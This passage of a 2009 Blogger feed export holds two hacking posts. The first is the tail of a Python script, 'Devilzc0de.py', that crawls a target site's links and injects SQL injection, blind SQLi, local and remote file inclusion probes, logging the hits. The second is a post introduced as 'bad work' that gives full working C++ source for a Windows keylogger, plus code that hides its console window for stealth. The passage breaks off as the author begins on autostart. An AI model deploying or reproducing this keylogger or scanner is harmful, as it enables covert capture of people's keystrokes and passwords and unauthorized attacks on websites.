/&gt;pathdisclosure9="/etc/"&lt;br /&gt;pathdisclosure10="/web/"&lt;br /&gt;penghubung=" in "&lt;br /&gt;gajebo="failed to open"&lt;br /&gt;l2="http://www.googlebig.com/"&lt;br /&gt;cachesqli="-"&lt;br /&gt;cacheblind1="-"&lt;br /&gt;cacheblind100="-"&lt;br /&gt;log = "flashjumperlog.txt"&lt;br /&gt;tanya="?"&lt;br /&gt;samadengan="="&lt;br /&gt;appname = os.path.basename(sys.argv[0]) &lt;br /&gt;ceksqli="'"&lt;br /&gt;slash="/"&lt;br /&gt;cekblind1="+order+by+1--"&lt;br /&gt;cekblind100="+order+by+300--"&lt;br /&gt;mysqli1="You have an error in your SQL"&lt;br /&gt;mysqli2="Division by zero in"&lt;br /&gt;mysqli3="supplied argument is not a valid MySQL result resource in"&lt;br /&gt;mysqli4="Call to a member function"&lt;br /&gt;accesqli1="Microsoft JET Database"&lt;br /&gt;accesqli2="ODBC Microsoft Access Driver"&lt;br /&gt;mssqli1="Microsoft OLE DB Provider for SQL Server"&lt;br /&gt;mssqli2="Unclosed quotation mark"&lt;br /&gt;oracle="Microsoft OLE DB Provider for Oracle"&lt;br /&gt;mscfm="[Macromedia][SQLServer JDBC Driver][SQLServer]Incorrect"&lt;br /&gt;general="Incorrect syntax near"&lt;br /&gt;mywisdom="http://"&lt;br /&gt;sat_ahyar="=1"&lt;br /&gt;sat_ahyar=str(sat_ahyar)&lt;br /&gt;&lt;br /&gt;class MyParser(sgmllib.SGMLParser): &lt;br /&gt;    "A simple parser class." &lt;br /&gt; &lt;br /&gt;    def parse(self, s): &lt;br /&gt;        "Parse the given string 's'." &lt;br /&gt;        self.feed(s) &lt;br /&gt;        self.close() &lt;br /&gt; &lt;br /&gt;    def __init__(self, verbose=0): &lt;br /&gt;        "Initialise an object, passing 'verbose' to the superclass." &lt;br /&gt; &lt;br /&gt;        sgmllib.SGMLParser.__init__(self, verbose) &lt;br /&gt;        self.hyperlinks = [] &lt;br /&gt; &lt;br /&gt;    def start_a(self, attributes): &lt;br /&gt;        "Process a hyperlink and its 'attributes'." &lt;br /&gt; &lt;br /&gt;        for name, value in attributes: &lt;br /&gt;            if name == "href": &lt;br /&gt;                self.hyperlinks.append(value) &lt;br /&gt;            if name == "src": &lt;br /&gt;                self.hyperlinks.append(value) &lt;br /&gt; &lt;br /&gt;    def get_hyperlinks(self): &lt;br /&gt;        "Return the list of hyperlinks." &lt;br /&gt; &lt;br /&gt;        return self.hyperlinks &lt;br /&gt; &lt;br /&gt; &lt;br /&gt; &lt;br /&gt;if len(sys.argv) &lt;=1:&lt;br /&gt;    print "Usage : " + appname + " -mode &lt;url&gt; " &lt;br /&gt;    print "e.g. : " + appname + " -sqli www.google.com " &lt;br /&gt;    print "Sample mode: -sqli ,-blind, -lfi, -rfi"&lt;br /&gt;    sys.exit(1) &lt;br /&gt;elif "-h"  in sys.argv: &lt;br /&gt;    print "Usage : " + appname + " -mode &lt;url&gt; " &lt;br /&gt;    print "e.g. : " + appname + " -sqli www.google.com " &lt;br /&gt;    print "Sample mode: -sqli ,-blind, -lfi, -rfi"&lt;br /&gt;    sys.exit(1) &lt;br /&gt;elif "--help" in sys.argv: &lt;br /&gt;    print "Usage : " + appname + "-mode &lt;url&gt; " &lt;br /&gt;    print "e.g. : " + appname + " -sqli www.google.com " &lt;br /&gt;    print "Sample mode: -sqli ,-blind, -lfi, -rfi"&lt;br /&gt;    sys.exit(1) &lt;br /&gt; &lt;br /&gt;site = sys.argv[2].replace("http://","") &lt;br /&gt;site = "http://" + site.lower() &lt;br /&gt;&lt;br /&gt;mode=sys.argv[1]&lt;br /&gt;try: &lt;br /&gt;    site_data = urllib.urlopen(site) &lt;br /&gt;    parser = MyParser() &lt;br /&gt;    parser.parse(site_data.read()) &lt;br /&gt;except(IOError),msg: &lt;br /&gt;    print "Error in connecting site ", site &lt;br /&gt;    print msg &lt;br /&gt;    sys.exit(1) &lt;br /&gt;links = parser.get_hyperlinks() &lt;br /&gt;print ""&lt;br /&gt;print "***********************************" &lt;br /&gt;print "Devilzc0de.py version 1.0"&lt;br /&gt;print "by:mywisdom (mywisdom[at]jasakom[dot]org"&lt;br /&gt;print "searching sqli,blind,rfi and lfi and search path disclosure at your target"&lt;br /&gt;print "***********************************"&lt;br /&gt;print "Every w00t message will be logged at flashjumperlog.txt,check the log after scanning finished"&lt;br /&gt;l2=site&lt;br /&gt;urlbuta=site+slash&lt;br /&gt;url_rfi_basic=site+slash&lt;br /&gt;url_lfi_basic=site+slash&lt;br /&gt;z=0&lt;br /&gt;data=""&lt;br /&gt;x=0&lt;br /&gt;for l in links: &lt;br /&gt;	z=z+1&lt;br /&gt;	if z&gt;50:&lt;br /&gt;		sys.exit(1)&lt;br /&gt;        if mode=='-sqli':&lt;br /&gt;		z=z+1&lt;br /&gt;         	if z&gt;50:&lt;br /&gt;	        	sys.exit(1)&lt;br /&gt;		htmlsqli=""&lt;br /&gt;		nemu="no"&lt;br /&gt;		tipe=""&lt;br /&gt;			         &lt;br /&gt;		if samadengan in l and tanya in l:&lt;br /&gt;			if mywisdom not in l:&lt;br /&gt;		               l2=l+ceksqli&lt;br /&gt;		               if site not in l2:&lt;br /&gt;				        l2=site+slash+l2&lt;br /&gt;		                       &lt;br /&gt;                        else :&lt;br /&gt;			       if site in l:&lt;br /&gt;				       l2=l+ceksqli&lt;br /&gt;		        print "[-]Checking sqli at:"+l2     &lt;br /&gt;		        response=urllib.urlopen(l2)&lt;br /&gt;                        htmlsqli = response.read()   &lt;br /&gt;			&lt;br /&gt;		if mysqli1 in htmlsqli:&lt;br /&gt;			nemu="yes"&lt;br /&gt;			tipe="mysql injection"&lt;br /&gt;	        elif mysqli2 in htmlsqli:&lt;br /&gt;		       	nemu="yes"&lt;br /&gt;			tipe="mysql injection"&lt;br /&gt;		elif mysqli3 in htmlsqli:&lt;br /&gt;		       	nemu="yes"&lt;br /&gt;			tipe="mysql injection (error fetching array)"&lt;br /&gt;		elif mysqli4 in htmlsqli:&lt;br /&gt;		       	nemu="yes"&lt;br /&gt;			tipe="oop application bug"&lt;br /&gt;	 &lt;br /&gt;		elif accesqli1 in htmlsqli:&lt;br /&gt;			nemu="yes"&lt;br /&gt;			tipe="ms access sql injection"&lt;br /&gt;	        	&lt;br /&gt;		elif accesqli2 in htmlsqli:&lt;br /&gt;			nemu="yes"&lt;br /&gt;			tipe="ms access sql injection"&lt;br /&gt;	        	&lt;br /&gt;		elif mssqli1 in htmlsqli:&lt;br /&gt;			nemu="yes"&lt;br /&gt;			tipe="mssql injection"&lt;br /&gt;	        	&lt;br /&gt;		elif mssqli2 in htmlsqli:&lt;br /&gt;			nemu="yes"&lt;br /&gt;			tipe="mssql injection"&lt;br /&gt;	        	&lt;br /&gt;		elif oracle in htmlsqli:&lt;br /&gt;			nemu="yes"&lt;br /&gt;			tipe="oracle sql injection"&lt;br /&gt;	        	&lt;br /&gt;		elif mscfm in htmlsqli:&lt;br /&gt;			nemu="yes"&lt;br /&gt;			tipe="cfm mssql injection"&lt;br /&gt;	        	&lt;br /&gt;		elif general in htmlsqli:&lt;br /&gt;			nemu="yes"&lt;br /&gt;			tipe="unidentified sql injection"&lt;br /&gt;	        	&lt;br /&gt;		if nemu=='yes':&lt;br /&gt;			print "[+]W00t !! Found "+ tipe+ " Bug at:"+l2&lt;br /&gt;			print "[+]Possible server's hole saved at flashjumperlog.txt"&lt;br /&gt;			filelog = open(log, "a")&lt;br /&gt;			filelog.write ("\n[+]W00t !! Found "+ tipe+ " Bug at:"+l2) &lt;br /&gt;                #tes path disclosure&lt;br /&gt;		tahap2=l2.split('=')&lt;br /&gt;		lx=tahap2[0]+sat_ahyar+ceksqli&lt;br /&gt;		if tanya in lx and z&lt;3:&lt;br /&gt;		  print "[--]checking error request at:"+lx&lt;br /&gt;		  response=urllib.urlopen(lx)&lt;br /&gt;		  htmlsqli = response.read()   &lt;br /&gt;			&lt;br /&gt;		  if mysqli1 in htmlsqli:&lt;br /&gt;			nemu="yes"&lt;br /&gt;			tipe="mysql injection"&lt;br /&gt;	          elif mysqli2 in htmlsqli:&lt;br /&gt;		       	nemu="yes"&lt;br /&gt;			tipe="mysql injection"&lt;br /&gt;	        	&lt;br /&gt;	  	  elif accesqli1 in htmlsqli:&lt;br /&gt;			nemu="yes"&lt;br /&gt;			tipe="ms access sql injection"&lt;br /&gt;	        	&lt;br /&gt;		  elif accesqli2 in htmlsqli:&lt;br /&gt;			nemu="yes"&lt;br /&gt;			tipe="ms access sql injection"&lt;br /&gt;	        	&lt;br /&gt;		  elif mssqli1 in htmlsqli:&lt;br /&gt;			nemu="yes"&lt;br /&gt;			tipe="mssql injection"&lt;br /&gt;	        	&lt;br /&gt;		  elif mssqli2 in htmlsqli:&lt;br /&gt;			nemu="yes"&lt;br /&gt;			tipe="mssql injection"&lt;br /&gt;	        	&lt;br /&gt;		  elif oracle in htmlsqli:&lt;br /&gt;			nemu="yes"&lt;br /&gt;			tipe="oracle sql injection"&lt;br /&gt;	        	&lt;br /&gt;		  elif mscfm in htmlsqli:&lt;br /&gt;			nemu="yes"&lt;br /&gt;			tipe="cfm mssql injection"&lt;br /&gt;	        	&lt;br /&gt;		  elif general in htmlsqli:&lt;br /&gt;			nemu="yes"&lt;br /&gt;			tipe="unidentified sql injection"&lt;br /&gt;	        &lt;br /&gt;		  elif gajebo in htmlsqli:&lt;br /&gt;			nemu="yes"&lt;br /&gt;			tipe="unidentified error message"&lt;br /&gt;	        &lt;br /&gt;		  elif pathdisclosure1 in htmlsqli and penghubung in htmlsqli:&lt;br /&gt;			nemu="yes"&lt;br /&gt;			tipe="path discosure /home/"&lt;br /&gt;		  elif pathdisclosure2 in htmlsqli and penghubung in htmlsqli:&lt;br /&gt;			nemu="yes"&lt;br /&gt;			tipe="path disclosure /var/"&lt;br /&gt;		  elif pathdisclosure3 in htmlsqli and penghubung in htmlsqli:&lt;br /&gt;			nemu="yes"&lt;br /&gt;			tipe="path disclosure /www/"&lt;br /&gt;		  elif pathdisclosure4 in htmlsqli and penghubung in htmlsqli:&lt;br /&gt;			nemu="yes"&lt;br /&gt;			tipe="path disclosure /html/"&lt;br /&gt;		  elif pathdisclosure5 in htmlsqli and penghubung in htmlsqli:&lt;br /&gt;			nemu="yes"&lt;br /&gt;			tipe="path disclosure /usr/"&lt;br /&gt;		  elif pathdisclosure6 in htmlsqli and penghubung in htmlsqli:&lt;br /&gt;			nemu="yes"&lt;br /&gt;			tipe="path disclosure /user/"&lt;br /&gt;		  elif pathdisclosure7 in htmlsqli and penghubung in htmlsqli:&lt;br /&gt;			nemu="yes"&lt;br /&gt;			tipe="path disclosure /sites/"&lt;br /&gt;		  elif pathdisclosure8 in htmlsqli and penghubung in htmlsqli:&lt;br /&gt;			nemu="yes"&lt;br /&gt;			tipe="path disclosure /mnt/"&lt;br /&gt;		  elif pathdisclosure9 in htmlsqli and penghubung in htmlsqli:&lt;br /&gt;			nemu="yes"&lt;br /&gt;			tipe="path disclosure /etc/"&lt;br /&gt;		  elif pathdisclosure10 in htmlsqli and penghubung in htmlsqli:&lt;br /&gt;			nemu="yes"&lt;br /&gt;			tipe="path disclosure /web/"&lt;br /&gt;		&lt;br /&gt;		&lt;br /&gt;	        	&lt;br /&gt;		  if nemu=='yes':&lt;br /&gt;			print "[+]W00t !! Found "+ tipe+ " Bug at:"+lx&lt;br /&gt;			print "[+]Possible server's hole saved at flashjumperlog.txt"&lt;br /&gt;			filelog = open(log, "a")&lt;br /&gt;			filelog.write ("\n[+]W00t !! Found "+ tipe+ " Bug at:"+lx) &lt;br /&gt;		&lt;br /&gt;		&lt;br /&gt;	elif mode=='-blind':&lt;br /&gt;		z=z+1&lt;br /&gt;         	if z&gt;50:&lt;br /&gt;	        	sys.exit(1)&lt;br /&gt;		nemu="no"&lt;br /&gt;		l1=urlbuta&lt;br /&gt;		l100=urlbuta&lt;br /&gt;		if samadengan in l:&lt;br /&gt;			if mywisdom not in l:&lt;br /&gt;		               l1=l+cekblind1&lt;br /&gt;		               if site not in l1:&lt;br /&gt;				        l1=site+slash+l1&lt;br /&gt;			       l100=l+cekblind100&lt;br /&gt;		               if site not in l100:&lt;br /&gt;				        l100=site+slash+l100&lt;br /&gt;                        else :&lt;br /&gt;			       if site in l:&lt;br /&gt;				       l1=l+cekblind1&lt;br /&gt;				       l100=l+cekblind100&lt;br /&gt;		        print "[-]Saving response length for blind sqli at :"+l1     &lt;br /&gt;		        response=urllib.urlopen(l1)&lt;br /&gt;                        cacheblind1 = response.read()&lt;br /&gt;		        print "[-]Saving response length for blind sqli at :"+l100     &lt;br /&gt;		        response=urllib.urlopen(l100)&lt;br /&gt;                        cacheblind100 = response.read()&lt;br /&gt;			panjangblind1=len(cacheblind1)&lt;br /&gt;			panjangblind100=len(cacheblind100)&lt;br /&gt;			if panjangblind1!=panjangblind100:&lt;br /&gt;				print "[+]W00t !! Found Possible Blind sqli Bug at:"+l100&lt;br /&gt;				print "[+]Possible server's hole saved at flashjumperlog.txt"&lt;br /&gt;				filelog = open(log, "a")&lt;br /&gt;			        filelog.write ("\n[+]W00t !! Found Possible Blind sqli Bug at:"+l100) &lt;br /&gt;			else:&lt;br /&gt;				print "[-]Sorry no possible blind found here !"&lt;br /&gt;		   &lt;br /&gt;		   &lt;br /&gt;		   &lt;br /&gt;		   &lt;br /&gt;        elif mode=='-lfi':&lt;br /&gt;	      z=z+1&lt;br /&gt;	      if z&gt;50:&lt;br /&gt;	        	sys.exit(1)&lt;br /&gt;              for ceklfi in lfis:  &lt;br /&gt;                 htmllfi="alabala ngentot akun darkc0denya udah gw 0wned hahahaha"&lt;br /&gt;		 &lt;br /&gt;		 if samadengan in l:&lt;br /&gt;                    	if mywisdom not in l:&lt;br /&gt;			       beforelfi=l.split('=')&lt;br /&gt;			       pj=len(beforelfi)&lt;br /&gt;                               da=0&lt;br /&gt;                               kont=""&lt;br /&gt;			       for x in beforelfi:&lt;br /&gt;				    da=da+1&lt;br /&gt;                                    if da&lt;pj:&lt;br /&gt;	                               kont=kont+x+"="&lt;br /&gt;&lt;br /&gt;		               lfi=kont+ceklfi&lt;br /&gt;		               if site not in lfi:&lt;br /&gt;				        lfi=site+slash+lfi&lt;br /&gt;		                       &lt;br /&gt;                        else :&lt;br /&gt;			       if site in l:&lt;br /&gt;				           &lt;br /&gt;				          &lt;br /&gt;				       beforelfi=l.split('=')&lt;br /&gt;			               pj=len(beforelfi)&lt;br /&gt;                                       da=0&lt;br /&gt;                                       kont=""&lt;br /&gt;			               for x in beforelfi:&lt;br /&gt;                                           da=da+1&lt;br /&gt;                                           if da&lt;pj:&lt;br /&gt;				         	   kont=kont+x+"="&lt;br /&gt;				       lfi=kont+ceklfi&lt;br /&gt;		        if lfi!="":&lt;br /&gt;		           print "[-]Checking lfi at:"+lfi     &lt;br /&gt;		           try:&lt;br /&gt;			      response=urllib.urlopen(lfi)&lt;br /&gt;			      htmllfi = response.read()   &lt;br /&gt;			   except(IOError),msg: &lt;br /&gt;                              print "Error in testing url: ", lfi&lt;br /&gt;                              print msg &lt;br /&gt;			if myroot in htmllfi:&lt;br /&gt;			      		print "[+]W00t !! Found lfi Bug at:"+lfi&lt;br /&gt;	                 		print "[+]Possible server's hole saved at flashjumperlog.txt"&lt;br /&gt;			                filelog = open(log, "a")&lt;br /&gt;					filelog.write ("\n[+]W00t !! Found lfi Bug at:"+lfi) &lt;br /&gt;		 if samadengan in l:&lt;br /&gt;			if mywisdom not in l:&lt;br /&gt;		               lfi=l&lt;br /&gt;		               if site not in lfi:&lt;br /&gt;				        lfi=site+slash+lfi&lt;br /&gt;		                       &lt;br /&gt;                        else :&lt;br /&gt;			       if site in l:&lt;br /&gt;				       lfi=l&lt;br /&gt;				       &lt;br /&gt;		        tahap3=lfi.split('=')&lt;br /&gt;			lfix=tahap3[0]+samadengan+ceklfi&lt;br /&gt;			if tanya in lfix:&lt;br /&gt;		              print "[--]checking lfi at:"+lfix&lt;br /&gt;		    &lt;br /&gt;                        try:&lt;br /&gt;			      response=urllib.urlopen(lfix)&lt;br /&gt;			      htmllfi = response.read()   &lt;br /&gt;			except(IOError),msg: &lt;br /&gt;                              print "Error in testing url: ", lfix&lt;br /&gt;                              print msg &lt;br /&gt;			      &lt;br /&gt;		        if myroot in htmllfi:&lt;br /&gt;			      		print "[+]W00t !! Found lfi Bug at:"+lfix&lt;br /&gt;	                 		print "[+]Possible server's hole saved at flashjumperlog.txt"&lt;br /&gt;			                filelog = open(log, "a")&lt;br /&gt;					filelog.write ("\n[+]W00t !! Found lfi Bug at:"+lfix) &lt;br /&gt;	          		 	&lt;br /&gt;		      	 &lt;br /&gt;	elif mode=='-rfi':&lt;br /&gt;	   	 z=z+1&lt;br /&gt;         	 if z&gt;50:&lt;br /&gt;	        	sys.exit(1)&lt;br /&gt;		 htmlrfi="alabala ngentot akun darkc0denya udah gw 0wned hahahaha"&lt;br /&gt;		 if samadengan in l:&lt;br /&gt;                    	if mywisdom not in l:&lt;br /&gt;			       beforerfi=l.split('=')&lt;br /&gt;			       pj=len(beforerfi)&lt;br /&gt;                               da=0&lt;br /&gt;                               kont=""&lt;br /&gt;			       for x in beforerfi:&lt;br /&gt;				    da=da+1&lt;br /&gt;                                    if da&lt;pj:&lt;br /&gt;	                               kont=kont+x+"="&lt;br /&gt;&lt;br /&gt;		               rfi=kont+cekrfi&lt;br /&gt;		               if site not in rfi:&lt;br /&gt;				        rfi=site+slash+rfi&lt;br /&gt;		                       &lt;br /&gt;                        else :&lt;br /&gt;			       if site in l:&lt;br /&gt;				           &lt;br /&gt;				          &lt;br /&gt;				       beforerfi=l.split('=')&lt;br /&gt;			               pj=len(beforerfi)&lt;br /&gt;                                       da=0&lt;br /&gt;                                       kont=""&lt;br /&gt;			               for x in beforerfi:&lt;br /&gt;                                           da=da+1&lt;br /&gt;                                           if da&lt;pj:&lt;br /&gt;				         	   kont=kont+x+"="&lt;br /&gt;				       rfi=kont+cekrfi&lt;br /&gt;		        if rfi!="":&lt;br /&gt;		           print "[-]Checking rfi at:"+rfi     &lt;br /&gt;		           try:&lt;br /&gt;			      response=urllib.urlopen(rfi)&lt;br /&gt;			      htmlrfi = response.read()   &lt;br /&gt;			   except(IOError),msg: &lt;br /&gt;                              print "Error in testing url: ", rfi&lt;br /&gt;                              print msg &lt;br /&gt;			if anjing in htmlrfi:&lt;br /&gt;			      		print "[+]W00t !! Found rfi Bug at:"+rfi&lt;br /&gt;	                 		print "[+]Possible server's hole saved at flashjumperlog.txt"&lt;br /&gt;			                filelog = open(log, "a")&lt;br /&gt;					filelog.write ("\n[+]W00t !! Found rfi Bug at:"+rfi) &lt;br /&gt;		&lt;br /&gt;	         if samadengan in l:&lt;br /&gt;			if mywisdom not in l:&lt;br /&gt;		               rfi=l&lt;br /&gt;		               if site not in rfi:&lt;br /&gt;				        rfi=site+slash+rfi&lt;br /&gt;		                       &lt;br /&gt;                        else :&lt;br /&gt;			       if site in l:&lt;br /&gt;				       rfi=l&lt;br /&gt;				       &lt;br /&gt;		        tahap3=rfi.split('=')&lt;br /&gt;			rfix=tahap3[0]+samadengan+cekrfi&lt;br /&gt;			if tanya in rfix:&lt;br /&gt;		              print "[--]checking rfi at:"+rfix&lt;br /&gt;		    &lt;br /&gt;                        try:&lt;br /&gt;			      response=urllib.urlopen(rfix)&lt;br /&gt;			      htmlrfi = response.read()   &lt;br /&gt;			except(IOError),msg: &lt;br /&gt;                              print "Error in testing url: ", rfix&lt;br /&gt;                              print msg &lt;br /&gt;			      &lt;br /&gt;		        if anjing in htmlrfi:&lt;br /&gt;			      		print "[+]W00t !! Found rfi Bug at:"+rfix&lt;br /&gt;	                 		print "[+]Possible server's hole saved at flashjumperlog.txt"&lt;br /&gt;			                filelog = open(log, "a")&lt;br /&gt;					filelog.write ("\n[+]W00t !! Found rfi Bug at:"+rfix) &lt;br /&gt;&lt;br /&gt;&lt;/textarea&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4057504930307624997-7971926192955652140?l=kodeyard.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kodeyard.blogspot.com/feeds/7971926192955652140/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://kodeyard.blogspot.com/2009/10/link-extractor-in-python.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4057504930307624997/posts/default/7971926192955652140'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4057504930307624997/posts/default/7971926192955652140'/><link rel='alternate' type='text/html' href='http://kodeyard.blogspot.com/2009/10/link-extractor-in-python.html' title='link extractor in python'/><author><name>akd</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='29' src='http://3.bp.blogspot.com/_cuWUxK4Ksws/SvhiT1WxcNI/AAAAAAAAAdM/PIJXxzZFi3c/S220/sad-012.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4057504930307624997.post-4115437437927819949</id><published>2009-10-07T00:52:00.001+05:30</published><updated>2009-10-07T01:26:01.960+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='key logger in C++'/><title type='text'>key logger in C++</title><content type='html'>Now time to do some bad work. Here I will give you the code of a key logger that works fine in windows NT platform.  The code is not mine unlike the previous one. The original link is &lt;a href="http://www.rohitab.com/discuss/index.php?showtopic=19360"&gt;http://www.rohitab.com/discuss/index.php?showtopic=19360&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Before this, read this link to know what this stuff is ???&lt;a href="http://www.amolenuvolette.it/root/kulture/keylogger.txt"&gt;&lt;br /&gt;http://www.amolenuvolette.it/root/kulture/keylogger.txt&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Here goes the code...&lt;br /&gt;&lt;br /&gt;&lt;textarea class="Cpp" name="code"&gt;&lt;br /&gt;// This code will only work if you have Windows NT or&lt;br /&gt;// any later version installed, 2k and XP will work.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;#define _WIN32_WINNT 0x0400&lt;br /&gt;&lt;br /&gt;#include &lt;windows.h&gt;&lt;br /&gt;#include &lt;winuser.h&gt;&lt;br /&gt;#include &lt;stdio.h&gt;&lt;br /&gt;&lt;br /&gt;// Global Hook handle&lt;br /&gt;HHOOK hKeyHook;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;// This is the function that is "exported" from the&lt;br /&gt;// execuatable like any function is exported from a&lt;br /&gt;// DLL. It is the hook handler routine for low level&lt;br /&gt;// keyboard events.&lt;br /&gt;&lt;br /&gt;__declspec(dllexport) LRESULT CALLBACK KeyEvent (&lt;br /&gt;&lt;br /&gt;  int nCode,      // The hook code&lt;br /&gt;  WPARAM wParam,  // The window message (WM_KEYUP, WM_KEYDOWN, etc.)&lt;br /&gt;  LPARAM lParam   // A pointer to a struct with information about the pressed key&lt;br /&gt;&lt;br /&gt;) {&lt;br /&gt;    if  ((nCode == HC_ACTION) &amp;&amp;       // HC_ACTION means we may process this event&lt;br /&gt;        ((wParam == WM_SYSKEYDOWN) ||  // Only react if either a system key ...&lt;br /&gt;        (wParam == WM_KEYDOWN)))       // ... or a normal key have been pressed.&lt;br /&gt;    {&lt;br /&gt;&lt;br /&gt;    //  This struct contains various information about&lt;br /&gt;    //  the pressed key such as hardware scan code, virtual&lt;br /&gt;    //  key code and further flags.&lt;br /&gt;&lt;br /&gt;        KBDLLHOOKSTRUCT hooked =&lt;br /&gt;            *((KBDLLHOOKSTRUCT*)lParam);&lt;br /&gt;&lt;br /&gt;    &lt;br /&gt;    //  dwMsg shall contain the information that would be stored&lt;br /&gt;    //  in the usual lParam argument of a WM_KEYDOWN message.&lt;br /&gt;    //  All information like hardware scan code and other flags&lt;br /&gt;    //  are stored within one double word at different bit offsets.&lt;br /&gt;    //  Refer to MSDN for further information:&lt;br /&gt;    //&lt;br /&gt;    //  http://msdn.microsoft.com/library/en-us/winui/winui/&lt;br /&gt;    //    windowsuserinterface/userinput/keyboardinput/aboutkeyboardinput.asp&lt;br /&gt;    //&lt;br /&gt;    //  (Keystroke Messages)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;        DWORD dwMsg = 1;&lt;br /&gt;        dwMsg += hooked.scanCode &lt;&lt; 16;&lt;br /&gt;        dwMsg += hooked.flags &lt;&lt; 24;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;    //  Call the GetKeyNameText() function to get the language-dependant&lt;br /&gt;    //  name of the pressed key. This function should return the name&lt;br /&gt;    //  of the pressed key in your language, aka the language used on&lt;br /&gt;    //  the system.&lt;br /&gt;&lt;br /&gt;        char lpszName[0x100] = {0};&lt;br /&gt;        lpszName[0] = '[';&lt;br /&gt;&lt;br /&gt;        int i = GetKeyNameText(dwMsg,&lt;br /&gt;            (lpszName+1),0xFF) + 1;&lt;br /&gt;&lt;br /&gt;        lpszName[i] = ']';&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;    //  Print this name to the standard console output device.&lt;br /&gt;&lt;br /&gt;        FILE *file;&lt;br /&gt;        file=fopen("keys.log","a+");&lt;br /&gt;        fputs(lpszName,file);&lt;br /&gt;        fflush(file);&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;//  the return value of the CallNextHookEx routine is always&lt;br /&gt;//  returned by your HookProc routine. This allows other&lt;br /&gt;//  applications to install and handle the same hook as well.&lt;br /&gt;&lt;br /&gt;    return CallNextHookEx(hKeyHook,&lt;br /&gt;        nCode,wParam,lParam);&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;// This is a simple message loop that will be used&lt;br /&gt;// to block while we are logging keys. It does not&lt;br /&gt;// perform any real task ...&lt;br /&gt;&lt;br /&gt;void MsgLoop()&lt;br /&gt;{&lt;br /&gt;    MSG message;&lt;br /&gt;    while (GetMessage(&amp;message,NULL,0,0)) {&lt;br /&gt;        TranslateMessage( &amp;message );&lt;br /&gt;        DispatchMessage( &amp;message );&lt;br /&gt;    }&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;// This thread is started by the main routine to install&lt;br /&gt;// the low level keyboard hook and start the message loop&lt;br /&gt;// to loop forever while waiting for keyboard events.&lt;br /&gt;&lt;br /&gt;DWORD WINAPI KeyLogger(LPVOID lpParameter)&lt;br /&gt;{&lt;br /&gt;&lt;br /&gt;//  Get a module handle to our own executable. Usually,&lt;br /&gt;//  the return value of GetModuleHandle(NULL) should be&lt;br /&gt;//  a valid handle to the current application instance,&lt;br /&gt;//  but if it fails we will also try to actually load&lt;br /&gt;//  ourself as a library. The thread's parameter is the&lt;br /&gt;//  first command line argument which is the path to our&lt;br /&gt;//  executable.&lt;br /&gt;&lt;br /&gt;    HINSTANCE hExe = GetModuleHandle(NULL);&lt;br /&gt;    if (!hExe) hExe = LoadLibrary((LPCSTR) lpParameter);&lt;br /&gt;&lt;br /&gt;//  Everything failed, we can't install the hook ... this&lt;br /&gt;//  never happened, but error handling is important.&lt;br /&gt;&lt;br /&gt;    if (!hExe) return 1;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;    hKeyHook = SetWindowsHookEx (  // install the hook:&lt;br /&gt;&lt;br /&gt;        WH_KEYBOARD_LL,            // as a low level keyboard hook&lt;br /&gt;        (HOOKPROC) KeyEvent,       // with the KeyEvent function from this executable&lt;br /&gt;        hExe,                      // and the module handle to our own executable&lt;br /&gt;        NULL                       // and finally, the hook should monitor all threads.&lt;br /&gt;    );&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;//  Loop forever in a message loop and if the loop&lt;br /&gt;//  stops some time, unhook the hook. I could have&lt;br /&gt;//  added a signal handler for ctrl-c that unhooks&lt;br /&gt;//  the hook once the application is terminated by&lt;br /&gt;//  the user, but I was too lazy.&lt;br /&gt;&lt;br /&gt;    MsgLoop();&lt;br /&gt;    UnhookWindowsHookEx(hKeyHook);&lt;br /&gt;    return 0;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;// The main function just starts the thread that&lt;br /&gt;// installs the keyboard hook and waits until it&lt;br /&gt;// terminates.&lt;br /&gt;&lt;br /&gt;int main(int argc, char** argv)&lt;br /&gt;{&lt;br /&gt;    HANDLE hThread;&lt;br /&gt;    DWORD dwThread;&lt;br /&gt;    DWORD exThread;&lt;br /&gt;&lt;br /&gt;    hThread = CreateThread(NULL,NULL,(LPTHREAD_START_ROUTINE)&lt;br /&gt;        KeyLogger, (LPVOID) argv[0], NULL, &amp;dwThread);&lt;br /&gt;&lt;br /&gt;    if (hThread) {&lt;br /&gt;        return WaitForSingleObject(hThread,INFINITE);&lt;br /&gt;    } else {&lt;br /&gt;        return 1;&lt;br /&gt;    }&lt;br /&gt;}&lt;br /&gt;&lt;/textarea&gt;&lt;br /&gt;&lt;br /&gt;Compile it in Microsoft Visula Studio 6.0. I don't know if it can be compiled in any other compiler. As you run, it will log all the keys pressed in keys.log file in the same folder in which the executable file is present.You will see the console window as no code added to hide this.&lt;br /&gt;&lt;br /&gt;No add some code in the main function to make it invisible...&lt;br /&gt;&lt;br /&gt;&lt;textarea class="Cpp" name="code"&gt;&lt;br /&gt;HWND stealth; /*creating stealth (window is not visible)*/&lt;br /&gt;AllocConsole();&lt;br /&gt;stealth=FindWindowA("ConsoleWindowClass",NULL);&lt;br /&gt;ShowWindow(stealth,0);&lt;br /&gt;&lt;/textarea&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Now the key logger is ready to run. You want to know how to start this during windows 